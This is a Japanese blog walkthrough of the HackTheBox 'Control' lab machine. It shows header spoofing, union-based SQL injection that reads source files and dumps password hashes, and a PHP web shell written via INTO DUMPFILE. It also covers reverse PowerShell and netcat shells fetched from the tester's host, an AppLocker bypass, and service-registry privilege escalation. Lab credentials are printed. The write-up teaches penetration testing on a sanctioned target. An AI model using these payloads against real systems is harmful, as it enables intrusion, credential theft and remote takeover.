1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

HackTheBox Control Writeup

Last updated at Posted at 2022-07-27

1, nmap

ControlのIPアドレスを control.htb で解決できるよう /etc/hosts を編集しておきます。
まずはnmapで調査します。

# cat control.nmap
# Nmap 7.92 scan initiated Tue Jul 26 06:24:26 2022 as: nmap -Pn -T4 -A -oN control.nmap -p- control.htb
Nmap scan report for control.htb (10.10.10.167)
Host is up (0.16s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Fidelity
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc   Microsoft Windows RPC
3306/tcp  open  mysql?
49666/tcp open  msrpc   Microsoft Windows RPC
49667/tcp open  msrpc   Microsoft Windows RPC
...
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

...

2, HTTPの調査

ttp://control.htb/index.php にアクセスすると、以下のページが表示されます。
02_01_index_php.png
index.php のソースコードに以下の記載があります。
02_02_comment.png
新決済システムへのリンクには、192.168.4.28でSSLを有効にする必要があるらしいです。

ナビからAdmin, Loginをクリックすると、どちらも ttp://control.htb/admin.php に飛ばされ、以下のエラーが表示されます。
02_03_proxy_error.png
HTTPヘッダで、プロキシを経由する必要があるようです。

3, admin.phpへアクセスする

HTTPヘッダでプロキシを指定できるのは、以下の5項目です。

headers.txtとして保存しておきます。

headers.txt
Forwarded
X-Forwarded-For
X-Forwarded-Host
X-Forwarded-Proto
Via

経由するプロキシサーバーとしては、コメントの192.168.4.28が怪しいでしょうか。
wfuzzをつかい、総当たりで調べます。

# wfuzz -c -u http://control.htb/admin.php -w headers.txt -H FUZZ:192.168.4.28 -p 127.0.0.1:8080:HTTP
...
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://control.htb/admin.php
Total requests: 5

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                 
=====================================================================

000000004:   200        0 L      15 W       89 Ch       "X-Forwarded-Proto"                                                                                     
000000001:   200        0 L      15 W       89 Ch       "Forwarded"                                                                                             
000000005:   200        0 L      15 W       89 Ch       "Via"                                                                                                   
000000003:   200        0 L      15 W       89 Ch       "X-Forwarded-Host"                                                                                      
000000002:   200        153 L    466 W      7933 Ch     "X-Forwarded-For"                                                                                       

Total time: 0
Processed Requests: 5
Filtered Requests: 0
Requests/sec.: 0

X-Forwarded-Forに192.168.4.28をセットしadmin.phpにアクセスします。
この時、Burp Suiteでproxyのoptionsから、Match and Replaceに追加しておきましょう。
03_01_Replace.png
admin.phpが表示されました
03_02_admin.png

4, SQL Injection - 1 : .phpファイルを取得する

試しに Find Products に ' のみを入力して検索してみます。
04_01_SQL_error.png
エラーメッセージが表示されます。あからさまですが、SQLインジェクションが可能です。

Union BasedのSQLインジェクションを行うため、カラム数を調べます。
以下のように order by を用いてカラム数を特定します。
04_02_group_by.png

productName='  order by 5 -- -    // エラーなし 
productName='  order by 10 -- -   // エラー
productName='  order by 7 -- -    // エラー
productName='  order by 6 -- -    // エラーなし

カラム数は6と分かりました。

続いて、union で行の挿入を試します。

productName='  union select 1,2,3,4,5,6 -- -    // エラーなし 

04_03_union_test.png
成功です。

行の挿入が可能ならば、LOAD_FILE()で.phpファイルを取得できます。
まずは、index.phpです。

productName=' union select LOAD_FILE('C:\\inetpub\\wwwroot\\index.php'),2,3,4,5,6 -- -

'C:\inetpub\wwwroot\'はIISの標準ホームディレクトリです。
LOAD_FILE()だけでも抜き取れますが、Burp Suiteの画面上に収まりきらなくなってしまいます。
なので、TO_BASE64()も使います。

productName=' union select TO_BASE64(LOAD_FILE('C:\\inetpub\\wwwroot\\index.php')),2,3,4,5,6 -- -

04_04_loadfile_index.png
base64コマンドなどでデコードすれば、index.htmlが取得できているとわかります。

同様に、
admin.phpも取得しましょう。

productName=' union select TO_BASE64(LOAD_FILE('C:\\inetpub\\wwwroot\\admin.php')),2,3,4,5,6 -- -

  
admin.phpの最上部では、proxyの処理を行っているとわかります。

<?php
$allowed = array('192.168.4.28');
if (!isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $_SERVER['HTTP_ORIGIN'] = $_SERVER['REMOTE_ADDR'];
}
if (in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $allowed)) { } else {
        die('Access Denied: Header Missing. Please ensure you go through the proxy to access this page');
}
?>
<!DOCTYPE html>

array('192.168.4.28')に$_SERVER['HTTP_X_FORWARDED_FOR']がなければdie()しています。
admin.phpから、検索はsearch_products.phpで行われていることがわかります。

<!-- Search -->
			<section>
				<div>
					<h2>Find Products</h2>
					<form id="searchProducts" action="search_products.php" method="POST">
						<div class="row gtr-uniform gtr-50">
							<div class="col-8 col-12-xsmall"><input type="text" name="productName" id="productName" placeholder="Name" /></div>
							<div class="col-4 col-12-xsmall"><input type="submit" value="Search" class="primary" /></div>

						</div>
					</form>
				</div>
			</section>

search_products.php を同様に取得し、表示してみましょう。

<tbody>
	<?php
	try {
		$productName = $_POST['productName'];
		$servername = "localhost";
		$username = "manager";
		$password = "l3tm3!n";
		$dbname = "warehouse";
		$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
		$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
		$conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_OBJ);
		$stmt = $conn->query("SELECT * FROM product WHERE name='$productName'");
		//$result = $conn->query("SELECT * FROM product WHERE name='$productName'");
		do {
		$rows = $stmt->fetchAll(PDO::FETCH_NUM);
		if (count($rows) > 0) {
		foreach ($rows as $row) {
		echo "<tr>";
		foreach ($row as $value) {
		echo "<td>" . $value . "</td>";
		}
		echo '</tr>';
		}
		} else {
		echo "<td>No Products Found</td>";
		echo "<td> </td>";
		echo "<td> </td>";
		echo "<td> </td>";
		echo "<td> </td>";
		}
		} while ($stmt->nextRowset());
		} catch (PDOException $e) {
		echo "Error: " . $e->getMessage();
		}
	?>
</tbody>

クエリが SELECT * FROM product WHERE name='$productName' であること、
manager のパスワードが l3tm3!n であることが分かります。

5, SQL Injection - 2 : データベースの調査

productName=' union select (select group_concat(schema_name separator '\n') from information_schema.schemata),2,3,4,5,6;-- -

で、
information_schema
mysql
warehouse
の3つのスキーマがあると分かります。

mysqlシステムスキーマには、userテーブルが含まれています。

システムスキーマに含まれるテーブルは、以下のクエリでも表示できます

productName=' union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema='mysql' -- -

userテーブルのuserとpasswordを調査します。

' union select group_concat(user, password separator '\n') ,2,3,4,5,6 from mysql.user;-- -

05_01_user_password.png
表示されたハッシュをhashes.comで解析します。

root : 0A4A5CAD344718DC418035A1F4D292BA603134D8 // 不明
root : 0A4A5CAD344718DC418035A1F4D292BA603134D8
root : 0A4A5CAD344718DC418035A1F4D292BA603134D8
root : 0A4A5CAD344718DC418035A1F4D292BA603134D8
manager : CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA // l3tm3!n
hector : 0E178792E8FC304A2E3133D535D38CAF1DA3CD9D // l33th4x0rhector

hectorのパスワードを新たに入手しました。

6, SQL Injection - 3 : Web Shellの配置

INTO DUMPFILE を使い、C:\inetpub\wwwroot\ 配下に新たなwebページを作成します。
まずは、phpinfo()を表示させてみましょう。
ttp://control.htb/phpinfo.php にアクセスし、404エラーでphpinfo.phpファイルが"無い"ことを確認します。
06_01_phpinfo_404.png
次に以下のクエリで、phpinfo.phpを作成します。

productName=' union select ('<?php phpinfo(); ?>'),2,3,4,5,6 INTO DUMPFILE 'C:\\inetpub\\wwwroot\\phpinfo.php'-- -

phpinfoが表示されます。
06_02_phpinfo_200.png

では、WebShellを作成します。
以下のクエリで.phpファイルを作成し、

productName=' union select ("<?php system($_REQUEST['c']); ?>"),2,3,4,5,6 INTO DUMPFILE 'C:\\inetpub\\wwwroot\\webshell.php'-- -

ttp://control.htb/webshell.php?c=whoami でアクセスしてみましょう。
06_03_webshell_whoami.png
nt authority\iusr(IISのビルドインアカウント)が表示されます。
ttp://control.htb/webshell.php?c=hostname で、コンピュータ名が Fidelity であることも分かります。

7, ビルドインアカウントの権限取得

Kali Linuxでペイロードの準備をします。
nishangがインストールされていなければ、インストールします。

# apt install nishang 

Shells/Invoke-PowerShellTcp.ps1 を使います。ワーキングディレクトリにコピーします。

# cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 .

Invoke-PowerShellTcp.ps1 の末尾に、以下の一文を追加します。
10.10.14.26 は自分のKali LinuxのIPに置き換えてください、ポートも任意です。

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.26 -Port 443

最後に簡易的な難読化を施します。

# sed -i 's/invoke-powershelltcp/foo/gI' Invoke-PowerShellTcp.ps1 

Invoke-PowerShellTcp関数の関数名をfooに置き換えます。

Kali Linux上でWebサーバーの立ち上げと、rlwrapでシェルを受け取る準備をします。

# python3 -m http.server 80
# rlwrap nc -nlvp 443 

先程のWeb Shell の c を以下に置き換えアクセスしましょう。

c=powershell IEX(IWR http://10.10.14.26/Invoke-PowerShellTcp.ps1 -UseBasicParsing)

07_01_payload.png
ビルドインアカウントの権限が取得できました。
07_02_buildin.png

8, hectorへのエスカレーション

Kali Linuxでhector権限のシェルを受け取る準備をしておきます。

# rlwrap nc -nlvp 443 

hectorのパスワードがわかっているので、資格情報(credential)を作成後、10.10.14.26/Invoke-PowerShellTcp.ps1をもう一度呼び出します。

PS C:\inetpub\wwwroot> $username = '.\hector'
PS C:\inetpub\wwwroot> $password = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force
PS C:\inetpub\wwwroot> $hostname = 'Fidelity'
PS C:\inetpub\wwwroot> $credential = New-Object System.Management.Automation.PSCredential($username,$password) 
PS C:\inetpub\wwwroot> Invoke-Command -ComputerName $hostname -Credential $credential -ScriptBlock {IEX(IWR http://10.10.14.26/Invoke-PowerShellTcp.ps1 -UseBasicParsing)  } 

08_01_hector.png
hectorのアカウント権限を取得できました。user.txtを表示しましょう。

9, レジストリ・サービスの調査

AccessChkを使い、Hectorがコントロールできるサービスがないか調べます。

AccessChkを上記からダウンロードし、hectorのシェルで

.\accesschk64.exe -kwsu HKEY_LOCAL_MACHINE\System\CurrentControlset\Services

と実行します。
09_01_accesschk.png
HectorがRead/Writeできるレジストリが複数あることが確認できます。

次に、サーバー上のすべてのサービスを取得し、$servicesに格納します。

$services = Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\*

$servicesの要素は、以下のようなフィールドを持ちます。

DependOnService     : {rpcss}
Description         : @%systemroot%\system32\wuaueng.dll,-106
DisplayName         : @%systemroot%\system32\wuaueng.dll,-105
ErrorControl        : 1
FailureActions      : {128, 81, 1, 0...}
ImagePath           : C:\Windows\system32\svchost.exe -k netsvcs -p
ObjectName          : LocalSystem
RequiredPrivileges  : {SeAuditPrivilege, SeCreateGlobalPrivilege, SeCreatePageFilePrivilege, SeTcbPrivilege...}
ServiceSidType      : 1
Start               : 3
SvcMemHardLimitInMB : 246
SvcMemMidLimitInMB  : 167
SvcMemSoftLimitInMB : 88
Type                : 32
PSPath              : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv
PSParentPath        : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
PSChildName         : wuauserv
PSDrive             : HKLM
PSProvider          : Microsoft.PowerShell.Core\Registry

ここで、Startが0x03であるものが、手動で起動できるサービスです。

また、ObjectNameがLocalsystemでなければHectorから起動できません。
これを満たす、"ハッキング可能"なサービス一覧を変数$ishackableに格納します。

$ishackable = $services | Where-Object { ($_.ObjectName -eq 'LocalSystem') -and ( $_.Start -eq '3') }

そして、これらのうち書き込み可能なものをリストアップします。
書き込み権限は Sc sdshow で確認できます。

例えば

cmd /c sc sdshow wuauserv

D:(A;;CCLCSWRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)S:(AU;FA;CCDCLCSWRPWPDTLOSDRCWDWO;;;WD)

となっているとき、Hector(AU)はCC, LC, SW, RP, LO, RC が許可されており、RP(SERVICE_START)が可能であると分かります。
AUのRPが可能なシステム一覧を、$canstartに格納します。

$canstart = foreach($service in $ishackable.PSChildName){ $sddl=(cmd /c sc sdshow $service); if ($sddl -match "RP[A-Z]*?;;;AU"){$service}}

$canstartは以下のサービスになりました。

PS C:\Users\Hector\Documents> 
$canstart
ConsentUxUserSvc
DevicesFlowUserSvc
PimIndexMaintenanceSvc
PrintWorkflowUserSvc
seclogon
UnistoreSvc
UserDataSvc
WaaSMedicSvc
wuauserv

10, 管理者権限取得?

これからシェルを送り込みます。
その前に、AppLockerを避ける必要があります。

下記を参考に、ワーキングディレクトリを移動します。

cd C:\Windows\System32\spool\drivers\color

こちらのシェルを利用します。サーバへのアップロード時にファイル名を iexplore.exe に変更します。

wget http://10.10.14.26/nc.exe -o iexplore.exe

脆弱なレジストリ、HKLM:\SYSTEM\CurrentControlSet\Services\wuauserv の ImagePath を書き換えます。

Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\wuauserv -Name ImagePath -Value 'C:\Windows\System32\spool\drivers\color\iexplore.exe 10.10.14.26 443 -e powershell'

Kali Linuxで通信を待ち受けます。

# rlwrap nc -nlvp 443 

書き換えたサービス、wuauserv を起動します。

Start-Service wuauserv

すると、Kali Linuxで管理者権限を取得できますが、数十秒で反応がなくなってしまいます。

11, 管理者権限取得

反応がなくなってしまう原因は、システムがサービスのイメージパスを書き戻してしまうためです。
対策として、数十秒間利用できる管理者権限から、その間にnc.exe(iexplore.exe)を直接呼び出し、Kali Linuxと繋げます。

以下のコマンドをメモしておきます。53番ポートはDNSの待ち受けポートなので、利用します。

\Windows\System32\spool\drivers\color\iexplore.exe -e powershell 10.10.14.26 53

そして、以下の手順を素早く行います。

① Kali Linuxでポート443番と53番を待ち受ける。

# rlwrap nc -nlvp 443 
# rlwrap nc -nlvp 53

② Hectorのシェルでレジストリを書き換え、サービスを起動する。

Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\wuauserv -Name ImagePath -Value 'C:\Windows\System32\spool\drivers\color\iexplore.exe 10.10.14.26 443 -e powershell'
Start-Service wuauserv

③ 443番ポートで管理者権限を取得する。すぐにメモしておいたコマンドを打ち込む

\Windows\System32\spool\drivers\color\iexplore.exe -e powershell 10.10.14.26 53

④ 待ち受けておいた53番ポートで、管理者権限を取得できる。
end.png

root.txtを表示しましょう。

参考

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?